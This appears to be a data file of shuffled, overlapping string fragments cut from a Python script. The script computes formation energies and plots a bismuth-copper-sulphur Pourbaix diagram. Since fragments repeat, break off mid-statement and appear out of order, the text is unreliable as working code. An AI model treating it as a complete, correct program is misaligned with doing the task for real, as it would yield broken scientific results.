"M3: '+str(muValues[i,j,2]) flag[index,0] = muValues[i,j,0] flag[index,1] = muValues[i,j,1] flag[index,2] = muValues[i,j,2] flag[index,3] =",
"species[10,7]=1 species[11,7]=1 species[12,7]=1 #Bismuth species[13,7]=0 species[14,7]=0 species[15,7]=0 species[16,7]=0 species[17,7]=0 species[18,7]=1 species[19,7]=1 species[20,7]=1 #Sulphur",
"species[53,7]=0 #BiSO species[54,7]=0 species[55,7]=0 species[56,7]=0 species[57,7]=0 species[58,7]=0 species[59,7]=0 #CuBiS species[60,7]=0 species[61,7]=0 species[62,7]=0 #BiCuSO",
"the mu current_eng=species[m,0]; current_ele=F*U*(species[m,1]) current_H=R*T*np.log(10.0)*pH*(species[m,2]) current_H2O=dGf_H2O*(species[m,6]) current_aquI=R*T*np.log(nI)*(species[m,7]) current_NumEle=1 for t in range(3,6): if(species[m,t]>1):",
"#CuSBiO species[47,5]=1 species[48,5]=4 species[49,5]=1 species[50,5]=2 species[51,5]=3 species[52,5]=0 species[53,5]=0 #BiSO species[54,5]=2 species[55,5]=3 species[56,5]=2 species[57,5]=3",
"species[19,7]=1 species[20,7]=1 #Sulphur species[21,7]=0 species[22,7]=1 species[23,7]=1 species[24,7]=1 species[25,7]=1 species[26,7]=1 species[27,7]=1 species[28,7]=1 species[29,7]=1 species[30,7]=1",
"OSError: print('Cannot Open File') ############################################################################### #### Determine which species are able to combine",
"species[p,4]], \\ [species[k, 5],species[m, 5], species[p,5]]]) #check to see if each species contains",
"j in range(0,n+1): U=Ulow+(Ucount*j); l=0 for k in range(0, len(flag)): if(flag[k,0]==muValues[i,j,0] and flag[k,1]==muValues[i,j,1]",
"dGf_CuOH4_2= dGf_CuOH4_2*F; dGf_CuOH2_minus= dGf_CuOH2_minus*F; dGf_CuOH3= dGf_CuOH3*F; dGf_CuOH_Plus= dGf_CuOH_Plus*F; dGf_CuOH2= dGf_CuOH2*F; dGf_CuOH = dGf_CuOH*F;",
"combinations try: combos=load('BiCuOS-speciesCombo.npy') num=load('BiCuOS-numberSpecies.npy') combo_num=int(num[0]) except OSError: print('Cannot Open File') ############################################################################### #### Determine",
"#For reactions in aqueous conditions #find out how much detail you want in",
"Ulow = -1.5; #V Uhigh = 1.5; #V Urange = Uhigh-Ulow; #V Ucount",
"################################################### species[0,0]=0.00; species[1,0]=dGf_CuO species[2,0]=dGf_Cu2O species[3,0]=dGf_Cu1 species[4,0]=dGf_Cu2 species[5,0]=dGf_CuOH4_2 species[6,0]=dGf_CuOH2_minus species[7,0]=dGf_CuOH3 species[8,0]=dGf_CuOH_Plus species[9,0]=dGf_CuOH2 species[10,0]=dGf_CuOH species[11,0]=dGf_Cu2OH2_2plus",
"species[26,6]=0 species[27,6]=0 species[28,6]=0 species[29,6]=3 species[30,6]=3 species[31,6]=3 species[32,6]=6 species[33,6]=6 species[34,6]=4 species[35,6]=4 species[36,6]=6 species[37,6]=3 species[38,6]=3",
"=plt.figure() ax=plt.subplot(111) ax = plt.gca() ax.set_xlim([lowpH,highpH]) ax.set_ylim([Ulow,Uhigh]) l=0; index=0; for i in range(0,",
"species[45,7]=1 species[46,7]=1 #CuSBiO species[47,7]=0 species[48,7]=0 species[49,7]=0 species[50,7]=0 species[51,7]=0 species[52,7]=0 species[53,7]=0 #BiSO species[54,7]=0 species[55,7]=0",
"((Ee_Bi4O7)+Fvib_Bi4O7) -4.0*(Ee_Bi+Fvib_Bi)-3.5*(Ee_O2-Ftot_O2); dGf_Cu2S=(Ee_Cu2S+Fvib_Cu2S) -2*(Ee_Cu+Fvib_Cu)-(Ee_S+Fvib_S); dGf_Cu7S4=(Ee_Cu7S4+Fvib_Cu7S4) -7*(Ee_Cu+Fvib_Cu)-4*(Ee_S+Fvib_S); dGf_CuS=(Ee_CuS+Fvib_CuS) -(Ee_Cu+Fvib_Cu)-(Ee_S+Fvib_S); dGf_CuS2=(Ee_CuS2+Fvib_CuS2) -(Ee_Cu+Fvib_Cu)-2*(Ee_S+Fvib_S); dGf_Cu2SO4_3=(Ee_Cu2SO4_3+Fvib_Cu2SO4_3) -2*(Ee_Cu+Fvib_Cu)-3*(Ee_S+Fvib_S)-6.0*((Ee_O2)-Ftot_O2); dGf_BiCu=(Ee_BiCu+Fvib_BiCu)",
"[flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,0] and flag[k,1]==muValues[i,j,2]and flag[k,2]==muValues[i,j,1]):",
"+str(composition[1])+'Bi:'+str(composition[2])+'S') chartBox=ax.get_position() ax.set_position([chartBox.x0, chartBox.y0, chartBox.width*1.5, chartBox.height*1.5]) ax.legend(loc='upper center', bbox_to_anchor=(1.3, 0.9), ncol=1) plt.show() print('End",
"color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,1] and flag[k,1]==muValues[i,j,0]and flag[k,2]==muValues[i,j,2]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4)",
"species[13,7]=0 species[14,7]=0 species[15,7]=0 species[16,7]=0 species[17,7]=0 species[18,7]=1 species[19,7]=1 species[20,7]=1 #Sulphur species[21,7]=0 species[22,7]=1 species[23,7]=1 species[24,7]=1",
"0, 2]=p #Energy combos[combo_num, 1, 0]=species[k,0] combos[combo_num, 1, 1]=species[m,0] combos[combo_num, 1, 2]=species[p,0] #Electrons",
"contribution to the mu current_eng=species[p,0] current_ele=F*U*(species[p,1]) current_H=R*T*np.log(10.0)*pH*(species[p,2]) current_H2O=dGf_H2O*(species[p,6]) current_aquI=R*T*np.log(nI)*(species[p,7]) current_NumEle=1 for t in",
"species[36,6]=6 species[37,6]=3 species[38,6]=3 species[39,6]=3 species[40,6]=6 species[41,6]=4 species[42,6]=4 species[43,6]=4 species[44,6]=8 species[45,6]=5 species[46,6]=5 #CuSBiO species[47,6]=0",
"pHArray[pHrange] =lowpH+(pHrange); muH[pHrange]=-0.059*pHArray[pHrange]; muH2O[pHrange]=1.23-0.059*pHArray[pHrange]; ############################################################## ax.plot(pHArray[:], muH[:],'c--',label='$H_2$',linewidth=1) ax.plot(pHArray[:], muH2O[:],'b--',label='$H_2O$', linewidth=1) ax.legend(loc='upper center', bbox_to_anchor=(1.3,",
"-(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S); dGf_Bi2S3=(Ee_Bi2S3+Fvib_Bi2S3) -2*(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S); dGf_Bi2S2O=(Ee_Bi2S2O+Fvib_Bi2S2O) -2*(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Bi2SO4_3=(Ee_Bi2SO4_3+Fvib_Bi2SO4_3) -2*(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S)-6.0*((Ee_O2)-Ftot_O2); dGf_Bi14OS24=(Ee_Bi14OS24+Fvib_Bi14OS24) -14*(Ee_Bi+Fvib_Bi)-24*(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Bi2SO2=(Ee_Bi2SO2+Fvib_Bi2SO2) -2*(Ee_Bi+Fvib_Bi)-(Ee_S+Fvib_S)-1.0*((Ee_O2)-Ftot_O2); dGf_BiSCuO=(Ee_BiSCuO+Fvib_BiSCuO) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2);",
"species[39,1]=4 species[40,1]=10 species[41,1]=6 species[42,1]=6 species[43,1]=6 species[44,1]=14 species[45,1]=8 species[46,1]=8 #CuSOBi species[47,1]=0 species[48,1]=0 species[49,1]=0 species[50,1]=0",
"species[39,7]=1 species[40,7]=1 species[41,7]=1 species[42,7]=1 species[43,7]=1 species[44,7]=1 species[45,7]=1 species[46,7]=1 #CuSBiO species[47,7]=0 species[48,7]=0 species[49,7]=0 species[50,7]=0",
"species[19,6]=1 species[20,6]=1 #Sulphur species[21,6]=0 species[22,6]=0 species[23,6]=0 species[24,6]=0 species[25,6]=0 species[26,6]=0 species[27,6]=0 species[28,6]=0 species[29,6]=3 species[30,6]=3",
"species[6,1]=1 species[7,1]=2 species[8,1]=2 species[9,1]=2 species[10,1]=1 species[11,1]=4 species[12,1]=6 #Bi species[13,1]=0 species[14,1]=6 species[15,1]=10 species[16,1]=8 species[17,1]=14",
"and species[p, 3] ==0)): if((species[k, 4]==0 and species[m, 4] ==0) or \\ (species[m,",
"species[1,7]=0 species[2,7]=0 species[3,7]=1 species[4,7]=1 species[5,7]=1 species[6,7]=1 species[7,7]=1 species[8,7]=1 species[9,7]=1 species[10,7]=1 species[11,7]=1 species[12,7]=1 #Bismuth",
"pH=lowpH+i*pHcount; for j in range(0,n+1): U=Ulow+(Ucount*j); l=0 for k in range(0, len(flag)): if(flag[k,0]==muValues[i,j,0]",
"elif((muValues[i,j,2]!=muValues[i,j-1,2]) or (muValues[i,j,2]!=muValues[i-1,j,2])): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) ax.plot(pHArray[:], muH[:],'c--',label='$H_2$',linewidth=1) ax.plot(pHArray[:], muH2O[:],'b--',label='$H_2O$', linewidth=1) plt.ylabel('Electric",
"k=len(flag)+1 l=1 if(l==0): label='M1: '+str(muValues[i,j,0])+', M2: '+str(muValues[i,j,1])+' M3: '+str(muValues[i,j,2]) flag[index,0] = muValues[i,j,0] flag[index,1]",
"combos[combo_num, 2, 1]=species[m,1] combos[combo_num, 2, 2]=species[p,1] #H+ combos[combo_num, 3, 0]=species[k,2] combos[combo_num, 3, 1]=species[m,2]",
"if(((h*a[0,0]+i*a[0,1]+j*a[0,2])/(h*a[1,0]+i*a[1,1]+j*a[1,2]))==composition[0]/composition[1] and \\ ((h*a[1,0]+i*a[1,1]+j*a[1,2])/(h*a[2,0]+i*a[2,1]+j*a[2,2]))==composition[1]/composition[2] and \\ ((h*a[0,0]+i*a[0,1]+j*a[0,2])/(h*a[2,0]+i*a[2,1]+j*a[2,2]))==composition[0]/composition[2]): #save the composition f[0]=h f[1]=i f[2]=j",
"species[1,4]=0 species[2,4]=0 species[3,4]=0 species[4,4]=0 species[5,4]=0 species[6,4]=0 species[7,4]=0 species[8,4]=0 species[9,4]=0 species[10,4]=0 species[11,4]=0 species[12,4]=0 #Bismuth",
"i in range(1, n): #calculate the energies for each species number pH=lowpH+(i*pHcount); for",
"current_NumEle=current_NumEle*species[m,t]; current_mu=current_mu+f2*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); #The second species' contribution to the mu current_eng=species[s,0]; current_ele=F*U*(species[s,1]) current_H=R*T*np.log(10.0)*pH*(species[s,2]) current_H2O=dGf_H2O*(species[s,6])",
"linewidth=1) plt.ylabel('Electric Potential, E(V)') plt.xlabel('pH') plt.title('Bi-Cu-S Pourbaix Diagram, $\\eta_{Bi,Cu,S}=10^{-'+str(eta)+'}$, '+str(composition[0])+'Cu:' +str(composition[1])+'Bi:'+str(composition[2])+'S') chartBox=ax.get_position() ax.set_position([chartBox.x0,",
"2]=species[p,1] #H+ combos[combo_num, 3, 0]=species[k,2] combos[combo_num, 3, 1]=species[m,2] combos[combo_num, 3, 2]=species[p,2] #Number Silvers",
"5]==0 and species[p, 5] ==0)): flag=0 #if so, find the composition though linear",
"species[47,4]=0 species[48,4]=0 species[49,4]=0 species[50,4]=0 species[51,4]=0 species[52,4]=1 species[53,4]=2 #BiSO species[54,4]=1 species[55,4]=2 species[56,4]=2 species[57,4]=2 species[58,4]=14",
"species[4,2]=0 species[5,2]=4 species[6,2]=2 species[7,2]=3 species[8,2]=1 species[9,2]=2 species[10,2]=1 species[11,2]=2 species[12,2]=4 #Bi species[13,2]=0 species[14,2]=6 species[15,2]=10",
"= -2; highpH = 16; pHrange = int; pHrange = highpH-lowpH; pHcount =",
"combo f_total=f[0]+f[1]+f[2]; combos[combo_num, 8, 0]=f[0]/f_total combos[combo_num, 8, 1]=f[1]/f_total combos[combo_num, 8, 2]=f[2]/f_total combo_num=combo_num+1; t=1",
"species[4,3]=1 species[5,3]=1 species[6,3]=1 species[7,3]=1 species[8,3]=1 species[9,3]=1 species[10,3]=1 species[11,3]=2 species[12,3]=3 #Bismuth and Sulphur species[13,3]=0",
"=lowpH+(pHrange); muH[pHrange]=-0.059*pHArray[pHrange]; muH2O[pHrange]=1.23-0.059*pHArray[pHrange]; ############################################################## ax.plot(pHArray[:], muH[:],'c--',label='$H_2$',linewidth=1) ax.plot(pHArray[:], muH2O[:],'b--',label='$H_2O$', linewidth=1) ax.legend(loc='upper center', bbox_to_anchor=(1.3, 0.9),",
"species[62,6]=0 #BiCuSO species[63,6]=1 species[64,6]=0 ########## Aqueous Ions?????? ################################################# #Copper species[0,7]=0 species[1,7]=0 species[2,7]=0 species[3,7]=1",
"dGf_Bi4O7=dGf_Bi4O7*F; dGf_Bi_3Plus= dGf_Bi_3Plus*F; dGf_BiOH_2Plus= dGf_BiOH_2Plus*F; dGf_BiO_Plus= dGf_BiO_Plus*F; dGf_S= dGf_S*F; dGf_H2S=dGf_H2S*F; dGf_HS_Minus=dGf_HS_Minus*F; dGf_S_2Minus=dGf_S_2Minus*F; dGf_S2_2Minus=dGf_S2_2Minus*F;",
"species[57,3]=0 species[58,3]=0 species[59,3]=0 #CuBiS species[60,3]=1 species[61,3]=4 species[62,3]=4 #BiCuSO species[63,3]=1 species[64,3]=3 ########### Number of",
"and flag[k,1]==muValues[i,j,0]and flag[k,2]==muValues[i,j,2]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found",
"= dGf_CuOH*F; dGf_Cu2OH2_2plus=dGf_Cu2OH2_2plus*F; dGf_Cu3OH4_2plus=dGf_Cu3OH4_2plus*F; dGf_CuOH2_s=dGf_CuOH2_s*F dGf_Bi= dGf_Bi*F; dGf_Bi2O3= dGf_Bi2O3*F; dGf_Bi2O5= dGf_Bi2O5*F; dGf_Bi2O4=dGf_Bi2O4*F; dGf_Bi4O7=dGf_Bi4O7*F;",
"in range(1,n): U=Ulow+(j*Ucount); #If drawing lines for metastable phases if((muValues[i,j,0]!=muValues[i-1,j,0])): ax.plot(pH,U,'.', color =",
"species[17,4]=4 species[18,4]=1 species[19,4]=1 species[20,4]=1 #Sulphur species[21,4]=0 species[22,4]=0 species[23,4]=0 species[24,4]=0 species[25,4]=0 species[26,4]=0 species[27,4]=0 species[28,4]=0",
"Fvib_CuBiO2_2=0.09853363658 Fvib_BiS2=-0.063943629448 Fvib_Bi2S3=-0.1428187610337 Fvib_Bi2S2O=-0.08193190191 Fvib_Bi2SO4_3=0.81266278392 Fvib_Bi14OS24=0.02990373431 Fvib_Bi2SO2=-0.0265520338422 Fvib_BiSCuO=-0.039894146059 Fvib_Cu3BiS3=-0.1661179102334 Fvib_Cu4Bi4S9=-0.3270592722135 Fvib_Cu4BiS2_5=-0.430548296696 Fvib_CuBiS2=-0.08663072302 ###############################################################################",
"species[29,2]=6 species[30,2]=5 species[31,2]=4 species[32,2]=12 species[33,2]=12 species[34,2]=6 species[35,2]=8 species[36,2]=12 species[37,2]=4 species[38,2]=5 species[39,2]=6 species[40,2]=12 species[41,2]=6",
"= [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,1] and flag[k,1]==muValues[i,j,0]and",
"species[16,2]=8 species[17,2]=14 species[18,2]=0 species[19,2]=1 species[20,2]=2 #S species[21,2]=0 species[22,2]=-2 species[23,2]=-1 species[24,2]=0 species[25,2]=0 species[26,2]=0 species[27,2]=0",
"species[47,5]=1 species[48,5]=4 species[49,5]=1 species[50,5]=2 species[51,5]=3 species[52,5]=0 species[53,5]=0 #BiSO species[54,5]=2 species[55,5]=3 species[56,5]=2 species[57,5]=3 species[58,5]=24",
"1, 2]=species[p,0] #Electrons combos[combo_num, 2, 0]=species[k,1] combos[combo_num, 2, 1]=species[m,1] combos[combo_num, 2, 2]=species[p,1] #H+",
"species[55,1]=0 species[56,1]=2 species[57,1]=24 species[58,1]=2 species[59,1]=4 #CuBiS species[60,1]=0 species[61,1]=0 species[62,1]=0 #BiCuSO species[63,1]=2 species[64,1]=0 ########",
"E(V)') plt.xlabel('pH') plt.title('Bi-Cu-S Pourbaix Diagram, $\\eta_{Bi,Cu,S}=10^{-'+str(eta)+'}$, '+str(composition[0])+'Cu:' +str(composition[1])+'Bi:'+str(composition[2])+'S') ############################################################################### ############## Plot with Lines",
"species[56,3]=0 species[57,3]=0 species[58,3]=0 species[59,3]=0 #CuBiS species[60,3]=1 species[61,3]=4 species[62,3]=4 #BiCuSO species[63,3]=1 species[64,3]=3 ########### Number",
"0]=species[k,1] combos[combo_num, 2, 1]=species[m,1] combos[combo_num, 2, 2]=species[p,1] #H+ combos[combo_num, 3, 0]=species[k,2] combos[combo_num, 3,",
"############################################################################### ############################################################################### ############################################################################### ############################################################################### ############### Populate the species matrix ################################ ############################################################################### species=np.zeros((65,8)) ########",
"species[9,3]=1 species[10,3]=1 species[11,3]=2 species[12,3]=3 #Bismuth and Sulphur species[13,3]=0 species[14,3]=0 species[15,3]=0 species[16,3]=0 species[17,3]=0 species[18,3]=0",
"muH2O[pHrange]=1.23-0.059*pHArray[pHrange]; ############################################################## ax.plot(pHArray[:], muH[:],'c--',label='$H_2$',linewidth=1) ax.plot(pHArray[:], muH2O[:],'b--',label='$H_2O$', linewidth=1) ax.legend(loc='upper center', bbox_to_anchor=(1.3, 0.9), ncol=1) plt.ylabel('Electric",
"Bismuth Species dGf_Bi_3Plus= 0.6430898 dGf_BiOH_2Plus= -1.6968378 dGf_BiO_Plus= -1.4977965 ##Elemental Copper Species dGf_Cu1= 0.506502",
"dGf_CuOH2= -3.2666113 dGf_CuOH = -1.2677578 dGf_Cu2OH2_2plus=-2.942417 dGf_Cu3OH4_2plus=-6.567839 #Elemental Sulphur Species dGf_H2S=-0.283601 dGf_HS_Minus=0.13053 dGf_S_2Minus=0.9521892",
"6, 1]=species[m,5] combos[combo_num, 6, 2]=species[p,5] #Aqueous Ions combos[combo_num, 7, 0]=species[k,6] combos[combo_num, 7, 1]=species[m,6]",
"range(0,n+1): U=Ulow+(j*Ucount); muValues[i,j,0]=-1 muValues[i,j,1]=-1 muValues[i,j,2]=-1 muValues[i,j,3]=100000000 #Go through all species, commpare all pairs",
"dGf_BiO_Plus= -1.4977965 ##Elemental Copper Species dGf_Cu1= 0.506502 dGf_Cu2= 0.674092 dGf_CuOH2_minus= -3.4518209 dGf_CuOH3= -5.1197432",
"-2.0*(Ee_Cu+Fvib_Cu) - 0.5*(Ee_O2+Ftot_O2); dGf_CuOH2_s= (Ee_CuOH2_s+Fvib_CuOH2_s) -(Ee_Cu+Fvib_Cu)-(Ee_O2+Ftot_O2)-(Ee_H2+F_H); dGf_Bi2O3= ((Ee_Bi2O3)+Fvib_Bi2O3) -2.0*(Ee_Bi+Fvib_Bi)-1.5*(Ee_O2-Ftot_O2); dGf_Bi2O5= ((Ee_Bi2O5)+Fvib_Bi2O5) -2.0*(Ee_Bi+Fvib_Bi)-2.5*(Ee_O2-Ftot_O2); dGf_Bi2O4=",
"6, 0]=species[k,5] combos[combo_num, 6, 1]=species[m,5] combos[combo_num, 6, 2]=species[p,5] #Aqueous Ions combos[combo_num, 7, 0]=species[k,6]",
"or species[p, 3]) \\ and (species[k, 4]>0 or species[m, 4] >0 or species[p,",
"#kJ/(V*mol) P=1; #bar, 10^5*Pa eta=6 nI=10**-eta; #Activity Concentration #Array showing the composition of",
"dGf_Cu3BiS3=dGf_Cu3BiS3*F; dGf_Cu4Bi4S9=dGf_Cu4Bi4S9*F; dGf_Cu4BiS2_5=dGf_Cu4BiS2_5*F; dGf_CuBiS2=dGf_CuBiS2*F; dGf_H2O= dGf_H2O*F; ############################################################################### ############################################################################### ############################################################################### ############################################################################### ############### Populate the",
"species[5,0]=dGf_CuOH4_2 species[6,0]=dGf_CuOH2_minus species[7,0]=dGf_CuOH3 species[8,0]=dGf_CuOH_Plus species[9,0]=dGf_CuOH2 species[10,0]=dGf_CuOH species[11,0]=dGf_Cu2OH2_2plus species[12,0]=dGf_Cu3OH4_2plus species[13,0]=dGf_Bi species[14,0]=dGf_Bi2O3 species[15,0]=dGf_Bi2O5 species[16,0]=dGf_Bi2O4 species[17,0]=dGf_Bi4O7",
"4],species[m, 4], species[p,4]], \\ [species[k, 5],species[m, 5], species[p,5]]]) #check to see if each",
"species[24,3]=0 species[25,3]=0 species[26,3]=0 species[27,3]=0 species[28,3]=0 species[29,3]=0 species[30,3]=0 species[31,3]=0 species[32,3]=0 species[33,3]=0 species[34,3]=0 species[35,3]=0 species[36,3]=0",
"species[36,0]=dGf_S3O6_2Minus species[37,0]=dGf_H2SO3 species[38,0]=dGf_HSO3_Minus species[39,0]=dGf_SO3_2Minus species[40,0]=dGf_S2O6_2Minus species[41,0]=dGf_H2SO4 species[42,0]=dGf_HSO4_Minus species[43,0]=dGf_SO4_2Minus species[44,0]=dGf_S2O8_2Minus species[45,0]=dGf_HSO5_Minus species[46,0]=dGf_S2O5_2Minus species[47,0]=dGf_Cu2S species[48,0]=dGf_Cu7S4",
"species[59,0]=dGf_Bi2SO2 species[60,0]=dGf_CuBiS2 species[61,0]=dGf_Cu4Bi4S9 species[62,0]=dGf_Cu4BiS2_5 species[63,0]=dGf_BiSCuO species[64,0]=dGf_Cu3BiS3 ######## Electron Count ####################################################### #Cu species[0,1]=0.00; species[1,1]=2",
"######## Hydrogen H+ Count #################################################### #Cu species[0,2]=0 species[1,2]=2 species[2,2]=2 species[3,2]=0 species[4,2]=0 species[5,2]=4 species[6,2]=2",
"save('BiCuOS-speciesCombo.npy', combos) save('BiCuOS-numberSpecies.npy', asarray([[combo_num]])) print('The number of species combinations is '+ str(combo_num)+'.\\n') ###############################################################################",
"for m in range(0, len(species)): for p in range(0, len(species)): #Check to make",
"#break loop, the color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,2] and flag[k,1]==muValues[i,j,1]and flag[k,2]==muValues[i,j,0]): ax.plot(pH,U,'.',",
"phases for i in range(1, n): #calculate the energies for each species number",
"0.5*(Ee_O2+Ftot_O2); dGf_Cu2O=(Ee_Cu2O+Fvib_Cu2O) -2.0*(Ee_Cu+Fvib_Cu) - 0.5*(Ee_O2+Ftot_O2); dGf_CuOH2_s= (Ee_CuOH2_s+Fvib_CuOH2_s) -(Ee_Cu+Fvib_Cu)-(Ee_O2+Ftot_O2)-(Ee_H2+F_H); dGf_Bi2O3= ((Ee_Bi2O3)+Fvib_Bi2O3) -2.0*(Ee_Bi+Fvib_Bi)-1.5*(Ee_O2-Ftot_O2); dGf_Bi2O5= ((Ee_Bi2O5)+Fvib_Bi2O5)",
"8, 0]=f[0]/f_total combos[combo_num, 8, 1]=f[1]/f_total combos[combo_num, 8, 2]=f[2]/f_total combo_num=combo_num+1; t=1 #print('entered') else: #Catch",
"species[28,5]=5 species[29,5]=2 species[30,5]=2 species[31,5]=2 species[32,5]=5 species[33,5]=4 species[34,5]=2 species[35,5]=2 species[36,5]=3 species[37,5]=1 species[38,5]=1 species[39,5]=1 species[40,5]=2",
"########### Number of Sulphurs S ############################################# #Coppers species[0,5]=0 species[1,5]=0 species[2,5]=0 species[3,5]=0 species[4,5]=0 species[5,5]=0",
"'+str(k)+', Species2: '+str(m)+'\\n') #Species Number combos[combo_num, 0, 0]=k combos[combo_num, 0, 1]=m combos[combo_num, 0,",
"species[58,0]=dGf_Bi14OS24 species[59,0]=dGf_Bi2SO2 species[60,0]=dGf_CuBiS2 species[61,0]=dGf_Cu4Bi4S9 species[62,0]=dGf_Cu4BiS2_5 species[63,0]=dGf_BiSCuO species[64,0]=dGf_Cu3BiS3 ######## Electron Count ####################################################### #Cu species[0,1]=0.00;",
"a linear combination, save the species in the combos array. if (t==0): #print(str(combo_num)+':",
"species[55,5]=3 species[56,5]=2 species[57,5]=3 species[58,5]=24 species[59,5]=1 #CuBiS species[60,5]=2 species[61,5]=9 species[62,5]=10 #BiCuSO species[63,5]=1 species[64,5]=3 #########",
"dGf_S2O4_2Minus=dGf_S2O4_2Minus*F; dGf_S3O6_2Minus=dGf_S3O6_2Minus*F; dGf_H2SO3=dGf_H2SO3*F; dGf_HSO3_Minus=dGf_HSO3_Minus*F; dGf_SO3_2Minus=dGf_SO3_2Minus*F; dGf_S2O6_2Minus=dGf_S2O6_2Minus*F; dGf_H2SO4=dGf_H2SO4*F; dGf_HSO4_Minus=dGf_HSO4_Minus*F; dGf_SO4_2Minus=dGf_SO4_2Minus*F; dGf_S2O8_2Minus=dGf_S2O8_2Minus*F; dGf_HSO5_Minus=dGf_HSO5_Minus*F; dGf_S2O5_2Minus=dGf_S2O5_2Minus*F; dGf_Cu2S=dGf_Cu2S*F;",
"Formation in eV/f.u. ##Elemental Bismuth Species dGf_Bi_3Plus= 0.6430898 dGf_BiOH_2Plus= -1.6968378 dGf_BiO_Plus= -1.4977965 ##Elemental",
"5], species[p,5]]]) #check to see if each species contains a single element. This",
"Calculations Fvib_O2=-0.272; F_rot_trans_O2=0.099; Ftot_O2=Fvib_O2+F_rot_trans_O2; F_H = .202; Fvib_S=-0.0091266451372 Fvib_CuO=0.062498987735 Fvib_Cu2O=0.00507624852 Fvib_Cu=-0.007167374680 Fvib_CuOH2_s=0.66653026525 Fvib_Bi=-0.0761976993239",
"current_ele=F*U*(species[s,1]) current_H=R*T*np.log(10.0)*pH*(species[s,2]) current_H2O=dGf_H2O*(species[s,6]) current_aquI=R*T*np.log(nI)*(species[s,7]) current_NumEle=1 for t in range(3,6): if(species[s,t]>1): current_NumEle=current_NumEle*species[s,t]; current_mu=current_mu+f3*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); if(current_mu<muValues[i,j,3]):",
"dGf_CuBiO2_2=dGf_CuBiO2_2*F; dGf_BiS2=dGf_BiS2*F; dGf_Bi2S3=dGf_Bi2S3*F; dGf_Bi2S2O=dGf_Bi2S2O*F; dGf_Bi2SO4_3=dGf_Bi2SO4_3*F; dGf_Bi14OS24=dGf_Bi14OS24*F; dGf_Bi2SO2=dGf_Bi2SO2*F; dGf_BiSCuO=dGf_BiSCuO*F; dGf_Cu3BiS3=dGf_Cu3BiS3*F; dGf_Cu4Bi4S9=dGf_Cu4Bi4S9*F; dGf_Cu4BiS2_5=dGf_Cu4BiS2_5*F; dGf_CuBiS2=dGf_CuBiS2*F; dGf_H2O=",
"species[12,6]=4 #Bi species[13,6]=0 species[14,6]=3 species[15,6]=5 species[16,6]=4 species[17,6]=7 species[18,6]=0 species[19,6]=1 species[20,6]=1 #Sulphur species[21,6]=0 species[22,6]=0",
"h in range(1, 20): for i in range(1, 20): for j in range(1,",
"Ee_Bi= -5.114928333; Ee_Bi2O3= -31.163316; Ee_Bi2O5= -40.1344765; Ee_Bi2O4=-36.7221975; Ee_Bi4O7=-68.40888; #PBEsol Ee_Cu=-4.3152965; Ee_CuO=-10.7488868; Ee_Cu2O=-14.99698; Ee_CuOH2_s=-25.1916025;",
"#print('entered') else: #Catch and switch the value of t back to no t=1",
"species[62,3]=4 #BiCuSO species[63,3]=1 species[64,3]=3 ########### Number of Bismuths Bi ############################################# #Copper species[0,4]=0 species[1,4]=0",
"of Bismuths Bi ############################################# #Copper species[0,4]=0 species[1,4]=0 species[2,4]=0 species[3,4]=0 species[4,4]=0 species[5,4]=0 species[6,4]=0 species[7,4]=0",
"species[1,3]=1 species[2,3]=2 species[3,3]=1 species[4,3]=1 species[5,3]=1 species[6,3]=1 species[7,3]=1 species[8,3]=1 species[9,3]=1 species[10,3]=1 species[11,3]=2 species[12,3]=3 #Bismuth",
"j in range(1,n): U=Ulow+(j*Ucount); #If drawing lines for metastable phases if((muValues[i,j,0]!=muValues[i-1,j,0])): ax.plot(pH,U,'.', color",
"dGf_SO4_2Minus=-7.6901922 dGf_S2O8_2Minus=-11.361 dGf_HSO5_Minus= -6.60739025 dGf_S2O5_2Minus= -8.195817793 #Water dGf_H2O=-2.458; ############################################################################### ############################################################################### ############################################################################### ################################################################################ #############",
"species[54,3]=0 species[55,3]=0 species[56,3]=0 species[57,3]=0 species[58,3]=0 species[59,3]=0 #CuBiS species[60,3]=1 species[61,3]=4 species[62,3]=4 #BiCuSO species[63,3]=1 species[64,3]=3",
"species[45,2]=9 species[46,2]=10 #CuSBiO species[47,2]=0 species[48,2]=0 species[49,2]=0 species[50,2]=0 species[51,2]=24 species[52,2]=0 species[53,2]=8 #BiSO species[54,2]=0 species[55,2]=0",
"sort=np.zeros((3,1)) #fill in the grid. Calculate for i in range(0, n+1): #calculate the",
"dGf_Cu1= 0.506502 dGf_Cu2= 0.674092 dGf_CuOH2_minus= -3.4518209 dGf_CuOH3= -5.1197432 dGf_CuOH_Plus= -1.3127387 dGf_CuOH4_2=-6.814302 dGf_CuOH2= -3.2666113",
"species[54,4]=1 species[55,4]=2 species[56,4]=2 species[57,4]=2 species[58,4]=14 species[59,4]=2 #CuBiS species[60,4]=1 species[61,4]=4 species[62,4]=5 #BiCuSO species[63,4]=1 species[64,4]=1",
"import matplotlib.pyplot as plt import random #For saving/importing data from numpy import asarray",
"########### MULTICOMPONENT SPECIES ############################################ #Calculated with PBEsol Ee_Cu2S=-13.4793116667; Ee_Cu7S4=-49.8241325; Ee_CuS=-9.170266; Ee_CuS2=-13.63935; Ee_Cu2SO4_3=-101.5166; Ee_BiCu=-9.31218;",
"in final combo f_total=f[0]+f[1]+f[2]; combos[combo_num, 8, 0]=f[0]/f_total combos[combo_num, 8, 1]=f[1]/f_total combos[combo_num, 8, 2]=f[2]/f_total",
